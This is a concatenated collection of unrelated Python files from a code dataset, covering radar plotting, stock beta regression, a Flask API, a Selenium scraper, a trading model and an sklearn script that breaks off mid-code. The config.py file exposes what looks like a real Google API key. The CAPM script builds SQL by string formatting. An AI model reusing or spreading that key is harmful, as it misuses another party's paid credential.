np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport datetime\nimport xarray\nimport datetime\nimport os\n\nfrom .config import get_plot_values, get_field_parameters\n\ndef quicklooks_1panel(file, field, config, image_directory=None, **kwargs):\n \"\"\"\n Quciklooks, produces a one panel image using a QVP object NetCDF file.\n \n Parameters\n ----------\n file : str\n File path to the QVP NetCDF file\n field : str\n String of the radar field\n config : str\n A string of the radar name found from config.py that contains values\n for writing, specific to that radar.\n \n Optional Parameters\n -------------------\n image_directory : str\n File path to the image folder to save the QVP image. If no\n image file path is given, image path deafults to users home directory.\n \n \"\"\"\n if image_directory is None:\n image_directory = os.path.expanduser('~')\n \n plot_values = get_plot_values(config)\n fld_params = get_field_parameters()\n qvp = xarray.open_dataset(file)\n \n time = qvp.time.data\n z = qvp.height.data/1000\n fld = qvp[field].data\n date = pd.to_datetime(time[0]).strftime('%Y%m%d')\n ts = datetime.datetime.strptime(date, '%Y%m%d')\n \n fig = plt.figure(figsize=[25, 12])\n font = {'family': 'normal', 'size': 20}\n matplotlib.rc('font', **font)\n matplotlib.rcParams.update({'font.size': 20})\n matplotlib.rcParams.update({'axes.titlesize': 20})\n \n img = plt.pcolormesh(time, z, fld.transpose(), cmap=plot_values['cmap'],\n vmin=fld_params[field]['vmin'],\n vmax=fld_params[field]['vmax'])\n plt.xlim(ts, (ts + datetime.timedelta(days=1)))\n plt.xticks(rotation=45)\n plt.ylim(0,12)\n plt.ylabel('Height (km)')\n plt.xlabel('Time (UTC)')\n plt.title(plot_values['title'] + ' ' + fld_params[field]['fld_title'] + ' '\n + plot_values['tilt'] + ' ' + str(ts) \n + '-' + str(ts + datetime.timedelta(days=1)))\n cb = plt.colorbar(img, cmap=plot_values['cmap'])\n cb.set_label(fld_params[field]['clb_title'])\n plt.savefig(image_directory + '/' + plot_values['save_name']\n + '.' + str(date) + '.000000.png', bbox_inches='tight')\n\ndef quicklooks_4panel(file, fields, config, image_directory=None):\n \"\"\"\n Quciklooks, produces a four panel image using a QVP object NetCDF file.\n \n Parameters\n ----------\n file : str\n File path to the QVP NetCDF file\n fields : tuple/list\n Tuple or list of strings of radar fields\n config : str\n A string of the radar name found from config.py that contains values\n for writing, specific to that radar.\n \n Optional Parameters\n -------------------\n image_directory : str\n File path to the image folder to save the QVP image. If no\n image file path is given, image path deafults to users home directory.\n \n \"\"\"\n if image_directory is None:\n image_directory = os.path.expanduser('~')\n plot_values = get_plot_values(config)\n fld_params = get_field_parameters()\n qvp = xarray.open_dataset(file)\n cmap = plot_values['cmap']\n \n time = qvp.time.data\n z = qvp.height.data/1000\n date = pd.to_datetime(time[0]).strftime('%Y%m%d')\n ts = datetime.datetime.strptime(date, '%Y%m%d')\n fld1 = qvp[fields[0]].data\n fld2 = qvp[fields[1]].data\n fld3 = qvp[fields[2]].data\n fld4 = qvp[fields[3]].data\n \n fig, ax = plt.subplots(nrows=4, ncols=1, sharex=True,\n sharey=True, figsize=(50,37))\n font = {'family': 'normal',\n 'size': 30}\n matplotlib.rc('font', **font)\n matplotlib.rcParams.update({'font.size': 30})\n matplotlib.rcParams.update({'axes.titlesize': 30})\n \n fig.suptitle(x=0.435, y=0.93, t=plot_values['title'] + ' '\n + plot_values['tilt'] + ' ' + str(ts)\n + '-' + str(ts + datetime.timedelta(days=1)),\n fontsize=40)\n fig.text(0.435, 0.065, 'Time (UTC)', ha='center', fontsize=30)\n fig.text(0.09, 0.5, 'Height (km)', va='center',\n rotation='vertical', fontsize=30)\n \n ax = plt.subplot(411)\n img = plt.pcolormesh(time, z, fld1.transpose(), cmap=cmap,\n vmin=fld_params[fields[0]]['vmin'],\n vmax=fld_params[fields[0]]['vmax'])\n plt.ylim(0,12)\n plt.xlim(ts, (ts + datetime.timedelta(days=1)))\n plt.xticks([])\n ax.set_title(fld_params[fields[0]]['fld_title'])\n cb = plt.colorbar(img, cmap=cmap)\n cb.set_label(fld_params[fields[0]]['clb_title'])\n \n ax = plt.subplot(412)\n img = plt.pcolormesh(time, z, fld2.transpose(), cmap=cmap,\n vmin=fld_params[fields[1]]['vmin'],\n vmax=fld_params[fields[1]]['vmax'])\n plt.ylim(0,12)\n plt.xlim(ts, (ts + datetime.timedelta(days=1)))\n plt.xticks([])\n ax.set_title(fld_params[fields[1]]['fld_title'])\n cb = plt.colorbar(img, cmap=cmap)\n cb.set_label(fld_params[fields[1]]['clb_title'])\n \n ax = plt.subplot(413)\n img = plt.pcolormesh(time, z, fld3.transpose(), cmap=cmap,\n vmin=fld_params[fields[2]]['vmin'],\n vmax=fld_params[fields[2]]['vmax'])\n plt.ylim(0,12)\n plt.xlim(ts, (ts + datetime.timedelta(days=1)))\n plt.xticks([])\n ax.set_title(fld_params[fields[2]]['fld_title'])\n cb = plt.colorbar(img, cmap=cmap)\n cb.set_label(fld_params[fields[2]]['clb_title'])\n \n ax = plt.subplot(414)\n img = plt.pcolormesh(time, z, fld4.transpose(), cmap=cmap,\n vmin=fld_params[fields[3]]['vmin'],\n vmax=fld_params[fields[3]]['vmax'])\n plt.ylim(0,12)\n plt.xlim(ts, (ts + datetime.timedelta(days=1)))\n plt.xticks(rotation=45)\n ax.set_title(fld_params[fields[3]]['fld_title'])\n cb = plt.colorbar(img, cmap=cmap)\n cb.set_label(fld_params[fields[3]]['clb_title'])\n \n plt.savefig(image_directory + '/' + plot_values['save_name']\n + '.' + str(date) + '.000000.png', bbox_inches='tight')\n \n ","sub_path":"qvp/qvp_quicklooks.py","file_name":"qvp_quicklooks.py","file_ext":"py","file_size_in_byte":6165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"328924855","text":"import math\r\n\r\nT = int(input())\r\nN = [0] * T\r\nfor k in range(T):\r\n N[k] = int(input())\r\nN_max = max(N)\r\n# Euclid's method, generating primitive pythagorean triples\r\np_sols = [0] * (N_max + 1)\r\nfor m in range(1, int((N_max // 2) ** 0.5)):\r\n for n in range(1, m):\r\n if math.gcd(m, n) != 1 or (m + n) % 2 == 0:\r\n continue\r\n for k in range(1, N_max // (2 * m * (m + n)) + 1):\r\n p_sols[2 * m * (m + n) * k] += 1\r\np_max = [0] * (N_max + 1)\r\nm = 0\r\nm_p = 0\r\nfor p in range(N_max + 1):\r\n if m < p_sols[p]:\r\n m = p_sols[p]\r\n m_p = p\r\n p_max[p] = m_p\r\nfor k in range(T):\r\n print(p_max[N[k]])\r\n","sub_path":"#001 - #050/#039 Integer right triangles.py","file_name":"#039 Integer right triangles.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"330398815","text":"'''\nCreated on 2020年1月15日\n\n@author: xiaoda\n'''\nimport pandas as pd\n##利用最小二乘法进行线性回归,拟合CAPM模型\nimport statsmodels.api as sm\nimport matplotlib.pyplot as plt\nfrom com.xiaoda.stock.loopbacktester.utils.StockDataUtils import StockDataProcessor\nfrom com.xiaoda.stock.loopbacktester.utils.MysqlUtils import MysqlProcessor\n \nif __name__ == '__main__':\n\n\n startday='20150101'\n endday='20200101'\n \n sdProcessor=StockDataProcessor() \n mysqlProcessor=MysqlProcessor()\n mysqlSession=mysqlProcessor.getMysqlSession()\n \n #sdict=sdProcessor.getAllStockDataDict() \n \n sdict=sdProcessor.getHS300Dict()\n \n \n for (stockCode,scInfo) in sdict.items():\n \n stockDF=sdProcessor.getStockKData(stockCode,startday,endday,'qfq')\n stockDF.set_index('trade_date',drop=True,inplace=True)\n \n idxDF=sdProcessor.getidxData('HS300',startday,endday)\n \n '''\n #mydf_sz=ts.get_hist_data('sz',start='2017-01-01',end='2018-5-7')\n mydf_sh=ts.get_hist_data('sh',start='2017-01-01',end='2018-5-7')\n mydf_sh_md=ts.get_hist_data('000333',start='2017-01-01',end='2018-5-7')\n mydf_sh_md.p_change\n mydf_sh.p_change\n '''\n \n sh_md_merge=pd.merge(pd.DataFrame(idxDF.pct_chg),pd.DataFrame(stockDF.pct_chg),\\\n left_index=True,right_index=True,how='inner')\n \n #计算日无风险利率\n Rf_annual=0.0334#以一年期的国债利率为无风险利率\n Rf_daily=(1+Rf_annual)**(1/365)-1##年利率转化为日利率\n \n #计算风险溢价:Ri-Rf\n risk_premium=sh_md_merge-Rf_daily\n #risk_premium.head()\n \n #画出两个风险溢价的散点图,查看相关性\n #plt.scatter(risk_premium.values[:,0],risk_premium.values[:,1])\n #plt.xlabel(\"MD Daily Return\")\n #plt.xlabel(\"SH Index Daily Return\") \n \n md_capm=sm.OLS(risk_premium.pct_chg_y[1:],sm.add_constant(risk_premium.pct_chg_x[1:]))\n result=md_capm.fit()\n #print(result.summary())\n #print(result.params)\n \n\n \n sqlStr=\"update u_stock_list set beta_In_5_years='%.4f' where ts_code='%s'\"%(result.params[1],stockCode)\n \n mysqlProcessor.execSql(mysqlSession,sqlStr,True)\n #if result.params[1]>1.5:\n # print(\"股票%s的Beta值:%.4f\"%(stockCode,result.params[1]))\n #拟合结果:Rp-Rf=0.2185+1.1539(Rm-Rf)+ε\n #参数检验通过了,但是R^2不是很理想","sub_path":"src/com/xiaoda/stock/loopbacktester/test/CalBetaForStock.py","file_name":"CalBetaForStock.py","file_ext":"py","file_size_in_byte":2562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"467153217","text":"\"\"\"\nReturns the array of cumulative density function values\nfor the Pareto probability distribution\nusing the given arrays for the abscissa or template\nvalues and each of the parameters values.\n\"\"\"\nimport numpy\nimport pyferret\nimport pyferret.stats\n\nDISTRIB_NAME = \"Pareto\"\nFUNC_NAME = \"cdf\"\n\n\ndef ferret_init(id):\n \"\"\"\n Initialization for the stats_pareto_cdf Ferret PyEF\n \"\"\"\n return pyferret.stats.getinitdict(DISTRIB_NAME, FUNC_NAME)\n\n\ndef ferret_compute(id, result, resbdf, inputs, inpbdfs):\n \"\"\"\n Result array assignment for the stats_pareto_cdf Ferret PyEF\n \"\"\"\n pyferret.stats.assignresultsarray(DISTRIB_NAME, FUNC_NAME,\n result, resbdf, inputs, inpbdfs)\n\n","sub_path":"pyfermod/stats/stats_pareto_cdf.py","file_name":"stats_pareto_cdf.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"306920307","text":"import os\n\n# NOTE: Replace this with local geckodriver location - https://github.com/mozilla/geckodriver/releases\n# NOTE: Mozilla Firefox browser is a requirement and should be installed for selenium to work!\nwebdriver_path = str(os.path.dirname(os.path.abspath(__file__))) + \"/cmu/geckodriver\"\n\n# NOTE: This the number of latest pages of Craigslist that will be scrapped. Increase the number for more data.\ncraig_num_of_pages = 2\n\n# NOTE: GOOGLE API COSTS MONEY!\n# NOTE: Ideally this key should be saved as environment variable and kept secret\n# Published on instructor's request to avoid env variables. Do not make this public!!!\n# Jinxue's key:\nAPI_key = 'AIzaSyBD2_0wAakmPKHFnB2IYWf8FfSerPq1aOw'","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"358010398","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport csv\nimport time\n\ndriver = webdriver.Firefox()\ndriver.get('http://www.editpad.org')\neditpadHandle = driver.window_handles[0]\nelem = driver.find_element_by_xpath('/html/body')\nelem.send_keys(Keys.COMMAND + 'n')\nlatlongHandle = driver.window_handles[1]\ndriver.switch_to_window(latlongHandle)\ndriver.get('http://www.latlong.net')\n\nwith open('StreetsImproved.csv','rb') as inputdata:\n reader = csv.reader(inputdata)\n i=0\n for row in reader:\n if i == 0:\n break\n pass\n i=i+1\n for row in reader:\n temp = row[0]\n driver.switch_to_window(latlongHandle)\n elem1 = driver.find_element_by_id('gadres')\n elem2 = driver.find_element_by_id('coordinatesurl')\n elem1.click()\n time.sleep(1)\n elem1.send_keys(str(temp) + ', Seattle, WA')\n time.sleep(1)\n elem1.send_keys(Keys.RETURN)\n time.sleep(1)\n elem2.click()\n time.sleep(1)\n elem2.send_keys(Keys.COMMAND + 'c')\n driver.switch_to_window(editpadHandle)\n elem3 = driver.find_element_by_xpath('/html/body/form/textarea')\n elem3.click()\n time.sleep(1)\n elem3.send_keys(str(temp) + ', ' + Keys.COMMAND + 'v')\n elem3.send_keys(Keys.RETURN)","sub_path":"LegacyCode/comeOn.py","file_name":"comeOn.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"357641160","text":"from tensorflow.keras.models import Sequential, Model # type: ignore\nfrom tensorflow.keras.layers import Dense, Dropout, GRU # type: ignore\nfrom tensorflow.keras import Input # type: ignore\nfrom NeuralAgentHelper import NeuralAgentHelper\nfrom TradeSignalHelper import TradeSignalHelper # type: ignore\n\n\nTRAINING_PERIOD_LENGTH = 1800\nTRAINING_START_INDEX = 300\nEPOCHS = 20\nBATCH_SIZE = 300\nIO_LAYER_UNITS = 100\nCOMPRESSION_LAYER_UNITS = 100\nLOSS_STRING = \"mean_squared_logarithmic_error\"\nSHUFFLE = True\n\n\nclass GruAgent:\n @staticmethod\n def get_model(number_of_timesteps: int, number_of_features: int,\n lstm_io_layer_units: int, lstm_compression_layer_units: int) -> Model:\n prediction_model = Sequential()\n\n prediction_model.add(GRU(lstm_io_layer_units, return_sequences=True,\n batch_input_shape=(\n number_of_timesteps, 1, number_of_features\n )))\n prediction_model.add(Dropout(0.2))\n prediction_model.add(\n GRU(lstm_compression_layer_units, return_sequences=True))\n prediction_model.add(Dropout(0.2))\n prediction_model.add(GRU(lstm_io_layer_units))\n prediction_model.add(Dropout(0.2))\n prediction_model.add(Dense(units=1)) # Prediction\n\n return prediction_model\n\n @staticmethod\n def run_testing(agent_type, training_period_length, test_period_length, training_start_index, test_start_index, epochs, batch_size,\n io_layer_units, compression_layer_units, loss_string, use_shuffle):\n return NeuralAgentHelper.run_testing(agent_type, training_period_length, test_period_length, training_start_index, test_start_index, epochs, batch_size,\n io_layer_units, compression_layer_units, loss_string, use_shuffle)\n\n @staticmethod\n def get_trade_performance(test_period_length, test_start_index):\n y_predicted, close_prices, history = GruAgent.run_testing(GruAgent, TRAINING_PERIOD_LENGTH, test_period_length, TRAINING_START_INDEX, test_start_index,\n EPOCHS, BATCH_SIZE, IO_LAYER_UNITS, COMPRESSION_LAYER_UNITS, LOSS_STRING, SHUFFLE)\n\n y_predicted_vector = [y[0] for y in y_predicted]\n\n trade_volumes = TradeSignalHelper.get_trade_amounts_for_sigmoid(\n y_predicted_vector)\n\n hedged_volume, total_cost = TradeSignalHelper.get_trade_performance(\n close_prices, trade_volumes)\n\n return hedged_volume, total_cost\n","sub_path":"src/GruAgent.py","file_name":"GruAgent.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"351374959","text":"from django.urls import path, re_path\n\nfrom . import views\n\napp_name = 'bi'\nurlpatterns = [\n # example: /\n path('', views.index, name='index'),\n # example: /reports/\n path('reports/', views.report_list, name='report-list'),\n # example: /reports/Dummy/raw/\n re_path(\n r'reports/(?P.+)/raw/$',\n views.report_detail_raw,\n name='report-detail-raw'),\n # example: /reports/Dummy/\n re_path(\n r'reports/(?P.+)/$',\n views.report_detail,\n name='report-detail'),\n # example: /dashboards/Dummy/\n path(\n 'dashboards//',\n views.dashboard_detail,\n name='dashboard-detail'),\n # example: /dashboards/Dummy/DummyReport1/\n path(\n 'dashboards///',\n views.dashboard_detail_nested,\n name='dashboard-detail-nested'),\n # example: /api/flush-cache/\n path('api/flush-cache/', views.flush_cache, name='flush-cache'),\n]\n","sub_path":"web/machinelearning/apps/bi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"603647535","text":"import csv\nfrom collections import Counter\nimport flask\nfrom flask import Flask, render_template, request, redirect, url_for\nfrom neo4j.v1 import GraphDatabase, basic_auth\n\napp = Flask(__name__)\ndriver = GraphDatabase.driver(\"bolt://138.197.15.1/\", auth=basic_auth(\"neo4j\", \"RUXePcMaDimWNpmFgt4iHXMa\"))\n\ndedupe_clusters = {}\ndedupe_clusters_links = {}\ncounter = Counter()\n\nwith open(\"data/links_output.csv\", \"r\") as output_file:\n reader = csv.reader(output_file, delimiter = \",\")\n\n next(reader)\n\n for row in reader:\n counter[row[0]] += 1\n\n if not dedupe_clusters.get(row[0]):\n dedupe_clusters[row[0]] = []\n dedupe_clusters_links[row[0]] = set()\n dedupe_clusters[row[0]].append( {\"uri\": row[4], \"internalNodeId\": row[2] } )\n dedupe_clusters_links[row[0]].add(row[4])\n\n\n@app.route(\"/\")\ndef clusters():\n return render_template(\"clusters.html\", clusters = dedupe_clusters_links, counter = counter)\n\nmerge_query = \"\"\"\\\nWITH [id in {ids} | toInteger(id)] AS ids\nMATCH (n:Link)<--(t:Tweet:Content)\nwhere id(n) in ids\nWITH n, t.favorites + size((t)<-[:RETWEETED]-()) AS score, ids\nORDER BY score DESC\nLIMIT 1\nWITH n, ids\n\nCALL apoc.periodic.iterate(\n \"MATCH (n) WHERE id(n) in {ids} AND id(n) <> {nodeId} RETURN n\",\n \"MATCH (other) WHERE id(other) = {nodeId}\n MATCH (n)\n call apoc.refactor.mergeNodes([other, n])\n yield node\n return count(*)\",\n { batchSize:1, parallel:false, params: {nodeId: id(n), ids: ids}})\nyield batches, total, timeTaken, committedOperations, failedOperations, failedBatches, retries, errorMessages, batch, operations\nreturn *\n\"\"\"\n\n@app.route(\"/clusters/\", methods=[\"POST\"])\ndef merge_cluster(cluster_id):\n params = {\n \"ids\": [int(item[\"internalNodeId\"]) for item in dedupe_clusters[cluster_id]]\n }\n print(params)\n\n with driver.session() as session:\n result = session.run(merge_query, params)\n print(result)\n\n return redirect(url_for('clusters'))","sub_path":"lib/ml/clusters.py","file_name":"clusters.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"644112857","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@File : android_device.py\n@Author : YouRan\n@Contact: YouRan@baidou.com\n@Date : 2019-11-4\n@Desc : Android设别管理\n\"\"\"\n\nfrom . import execute_cmd\nfrom .device import Device\n\n\nDEVICES_LIST_SHELL = 'adb devices'\n# 设备类型\nDEVICE_TYPE = 'ro.product.manufacturer'\n# 系统版本\nDEVICE_VERSION = 'ro.build.version.release'\n# 设备型号\nDEVICE_MODEL = 'ro.product.codename'\nDEVICE_MODEL_HW = 'ro.product.model'\n# 设备名称\nDEVICE_NAME = 'net.devicename'\nDEVICE_NAME_HW = 'net.hostname'\n\n\nclass AndroidDevice(object):\n\n @property\n def devices(self) -> [Device]:\n device_udids = execute_cmd(DEVICES_LIST_SHELL)\n _device_udids = []\n for udid in device_udids:\n if \"List of devices\" in udid:\n continue\n device = udid.split('\\t')[0]\n _device_udids.append(device)\n\n devices = []\n for udid in _device_udids:\n device_info = self._fetch_device_info(udid)\n device = Device(info=device_info)\n devices.append(device)\n return devices\n\n def _fetch_device_info(self, udid):\n \"\"\"\n 设备信息\n :param udid:\n :return:\n {\n \"DeviceName\": \"\",\n \"UniqueDeviceID\": \"\",\n \"ProductVersion\": \"\",\n \"ProductType\": \"\"\n \"PlateForm\": \"Android\"\n }\n \"\"\"\n device_info = dict()\n device_info['PlateForm'] = 'Android'\n device_info['UniqueDeviceID'] = udid\n name = self._get_info(udid, DEVICE_NAME, DEVICE_NAME_HW)\n if isinstance(name, list) and len(name):\n name = name[0].strip()\n if not name or len(name) == 0:\n name = 'no name'\n device_info['DeviceName'] = name\n version = self._get_info(udid, DEVICE_VERSION)\n if version and isinstance(version, list) and len(version):\n version = version[0]\n device_info['ProductVersion'] = version\n device_type = self._get_info(udid, DEVICE_MODEL, DEVICE_MODEL_HW)\n if isinstance(device_type, list) and len(device_type):\n device_type = device_type[0]\n device_info['ProductType'] = device_type\n\n return device_info\n\n def _get_info(self, udid, *cmd_list):\n _info = None\n for cmd in cmd_list:\n _cmd = self._generate_cmd(udid, cmd)\n _info = execute_cmd(_cmd)\n if _info and len(_info):\n break\n return _info\n\n @staticmethod\n def _generate_cmd(udid, cmd):\n _cmd = list()\n _cmd.append('adb -s')\n _cmd.append(udid)\n _cmd.append('shell getprop')\n _cmd.append(cmd)\n _cmd = ' '.join(_cmd)\n return _cmd\n","sub_path":"CTSRunner/DeviceManager/android_device.py","file_name":"android_device.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"123747425","text":"from __future__ import absolute_import\n\nimport logging\n\nfrom fulltext.util import run, which, ShellError, MissingCommandException\n\n\nLOGGER = logging.getLogger(__name__)\nLOGGER.addHandler(logging.NullHandler())\n\nEXTENSIONS = ('doc', )\n\nif which('antiword') is None:\n LOGGER.warning('CLI tool \"antiword\" is required for .doc backend.')\n\nif which('abiword') is None:\n LOGGER.warning('CLI tool \"abiword\" is optional for .doc backend.')\n\n\ndef _get_file(f, **kwargs):\n try:\n return run('antiword', '-', stdin=f).decode('utf8')\n except ShellError as e:\n if b'not a Word Document' not in e.stderr:\n raise\n LOGGER.warning('.doc file unsupported format')\n except MissingCommandException:\n LOGGER.warning('CLI tool \"antiword\" missing, using \"abiword\"')\n\n f.seek(0)\n\n # Try abiword, slower, but supports more formats.\n return run(\n 'abiword', '--to=txt', '--to-name=fd://1', 'fd://0', stdin=f\n ).decode('utf8')\n\n\ndef _get_path(path, **kwargs):\n try:\n return run('antiword', path).decode('utf8')\n except ShellError as e:\n if b'not a Word Document' not in e.stderr:\n raise\n LOGGER.warning('.doc file unsupported format')\n except MissingCommandException:\n LOGGER.warning('CLI tool \"antiword\" missing, using \"abiword\"')\n\n # Try abiword, slower, but supports more formats.\n return run('abiword', '--to=txt', '--to-name=fd://1', path).decode('utf8')\n","sub_path":"fulltext/backends/__doc.py","file_name":"__doc.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"87324561","text":"from flask import Blueprint, request\nfrom flask_restplus import Api\nfrom pluggy import HookimplMarker\n\nfrom flaskshop.extensions import csrf_protect\n\nfrom .product import api as product_api\nfrom .checkout import api as checkout_api\nfrom .auth import api as auth_api\nfrom .auth import CustomSessionInterface\n\nimpl = HookimplMarker(\"flaskshop\")\n\n\n@impl\ndef flaskshop_load_blueprints(app):\n bp = Blueprint(\"api\", __name__)\n\n csrf_protect.exempt(bp)\n bp.session_interface = CustomSessionInterface()\n ALLOWED_PATHS = frozenset(\n [\"/api/v1/user/login\", \"/api/v1/\", \"/api/v1/swagger.json\", \"/api/v1/products/\"]\n )\n\n @bp.after_request\n def verify_user(response):\n from .auth import verify_token\n\n if request.path in ALLOWED_PATHS or request.method == \"OPTIONS\":\n return response\n elif \"Authorization\" in request.headers:\n data = verify_token(request.headers[\"Authorization\"])\n if data:\n return response\n return \"\", 401\n\n api = Api(bp, version=\"1.0\", title=\"Saleor API\", description=\"A simple API\")\n\n @api.errorhandler\n def default_error_handler(error):\n \"\"\"Default error handler\"\"\"\n return {\"message\": str(error)}, getattr(error, \"code\", 500)\n\n api.add_namespace(product_api)\n api.add_namespace(checkout_api)\n api.add_namespace(auth_api)\n\n app.register_blueprint(bp, url_prefix=\"/api/v1\")\n","sub_path":"flaskshop/api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"477840376","text":"#!/usr/bin/env python3\n\"\"\"EVTK sample script\n\n空間に正負の電荷を置いたときの周辺の電位,電界分布を計算し,\nvtkファイルで出力する.\n\"\"\"\n\nimport numpy as np\nimport scipy.constants as const\nimport scipy\nimport pyevtk\n\n\ndef main(vtktype='vts'):\n \"\"\" メイン\n\n Args:\n vtktype : vtk ファイルの種類を指定する.(vts | vtr)\n \"\"\"\n\n calc_range = 1.0 # 計算範囲 -calc_range から calc_range\n nsamples = 200 # 分割数\n k = 1/(4 * const.pi * const.epsilon_0)\n\n charge = [\n {'q': -1.0, 'px': -0.2, 'py': 0.0, 'pz': 0.0},\n {'q': 1.0, 'px': 0.2, 'py': 0.0, 'pz': 0.0},\n ]\n\n calc_range_x = [-calc_range, calc_range]\n calc_range_y = [-calc_range, calc_range]\n calc_range_z = [-calc_range, calc_range]\n\n xx = np.linspace(calc_range_x[0], calc_range_x[1], nsamples)\n yy = np.linspace(calc_range_y[0], calc_range_y[1], nsamples)\n zz = np.linspace(calc_range_z[0], calc_range_z[1], nsamples)\n\n # 必ず indexing='ij' を指定する.座標軸が入れ替わらないように\n xxx, yyy, zzz = np.meshgrid(xx, yy, zz, indexing='ij')\n\n potential = np.zeros_like(xxx)\n E_x = np.zeros_like(xxx)\n E_y = np.zeros_like(yyy)\n E_z = np.zeros_like(zzz)\n\n for ch in charge:\n print(ch)\n dx = xxx - ch['px']\n dy = yyy - ch['py']\n dz = zzz - ch['pz']\n r2 = dx ** 2 + dy ** 2 + dz ** 2\n r = np.sqrt(r2)\n a_V = k * ch['q'] / r\n potential = potential + a_V\n\n a_E = k * ch['q'] / r2\n E_x = E_x + a_E * dx / r\n E_y = E_y + a_E * dy / r\n E_z = E_z + a_E * dz / r\n\n print(f\"{dx.shape}\")\n\n # vtk ファイルの書き出し\n filename = './twoCharges'\n if vtktype == 'vts':\n ''' StructuredGrid で書き出す場合'''\n pyevtk.hl.gridToVTK(\n filename, # ファイル名の指定.拡張子は追加される\n xxx, yyy, zzz, # 各格子点の座標\n pointData={ # 格子点上のデータの指定\n 'potential': potential,\n 'efield': (E_x, E_y, E_z),\n },\n )\n elif vtktype == 'vtr':\n ''' RectilinearGrid で書き出す場合'''\n pyevtk.hl.gridToVTK(\n filename, # ファイル名の指定.拡張子は追加される\n xx, yy, zz, # 各座標軸の座標\n pointData={ # 格子点上のデータの指定\n 'potential': potential,\n 'efield': (E_x, E_y, E_z),\n },\n )\n else:\n print(f\"Unsupported vtk fileformat {vtktype}\")\n\n\nif __name__ == \"__main__\":\n main('vts')\n","sub_path":"twoCharges.py","file_name":"twoCharges.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"587047343","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nimport random\n\nimport sklearn as sk\nfrom sklearn import datasets\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.metrics import classification_report, roc_auc_score\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.metrics import roc_curve, auc, accuracy_score\nfrom sklearn import cross_validation, grid_search\n\nimport sys\nimport pickle\n\nfrom sklearn_plot_results import plot_results\n\nimport argparse \n# Getting some of this from here\n# https://betatim.github.io/posts/sklearn-for-TMVA-users/\n\n################################################################################\n\n#-db DATABSE -u USERNAME -p PASSWORD -size 20\n\nparser = argparse.ArgumentParser(description='Process some files for scikit learning algorithms.')\nparser.add_argument('--events', dest='nevents', default=0, help='Number of events you want to process.',type=int)\nparser.add_argument('infiles', action='append', nargs='*', help='Input file name(s)')\nargs = parser.parse_args()\n\ninfilenames = args.infiles[0]\nnevents = args.nevents\n\nprint(infilenames,nevents)\n\n\n\n\n\n'''\nif sys.argv[1] == \"--events\":\n nevents = int(sys.argv[2])\n infilenames = sys.argv[3:]\nelse:\n nevents = 0\n infilenames = sys.argv[1:]\n'''\n\nif len(infilenames) != 2:\n print(\"Wrong number of input files!\")\n print(\"Should be 2!\")\n exit()\n\noutfilename = \"MLP_CLASSIFICATION_{0}_{1}.pkl\".format(infilenames[0].split('.pkl')[0],infilenames[1].split('.pkl')[0])\noutfile = open(outfilename,'wb')\n\ndict0 = pickle.load(open(infilenames[0],'rb'))\ndict1 = pickle.load(open(infilenames[1],'rb'))\n\nparam_labels = list(dict0.keys())\n\nprint(\"original\")\nprint(param_labels)\ntoberemoved = ['had_dRPtTop','had_dRPtW', 'bnv_dRPtTop','bnv_dRPtW']\ntoberemoved += ['bnv_j12_m', 'bnv_j13_m', 'bnv_j23_m']\ntoberemoved += ['bnv_dR12_lab', 'bnv_dR13_lab', 'bnv_dR23_lab', 'bnv_dR1_23_lab']\ntoberemoved += ['bnv_dTheta12_rest','bnv_dTheta13_rest','bnv_dTheta23_rest']\n\nfor a in toberemoved:\n print('Removing {0} from variables to use in training'.format(a))\n try:\n param_labels.remove(a)\n print('{0} removed'.format(a))\n except:\n print('{0} not in variables'.format(a))\nprint(\"After removal\")\nprint(param_labels)\nnparams = len(param_labels)\n\n#exit()\n\ndata0 = []\ndata1 = []\n\nnevents0 = nevents\nnevents1 = nevents\n\nprint(len(dict0[param_labels[0]]))\nprint(len(dict1[param_labels[0]]))\n\nif nevents == 0 or nevents > len(dict0[param_labels[0]]):\n nevents0 = len(dict0[param_labels[0]])\nprint(\"Will process {0} events for {1}\".format(nevents0,infilenames[0]))\n\nif nevents == 0 or nevents > len(dict1[param_labels[0]]):\n nevents1 = len(dict1[param_labels[0]])\nprint(\"Will process {0} events for {1}\".format(nevents1,infilenames[1]))\n\n#exit()\n\nindex0 = np.arange(0,len(dict0[param_labels[0]]))\nindex1 = np.arange(0,len(dict1[param_labels[0]]))\n\nrandom.shuffle(index0)\nrandom.shuffle(index1)\n\nfor 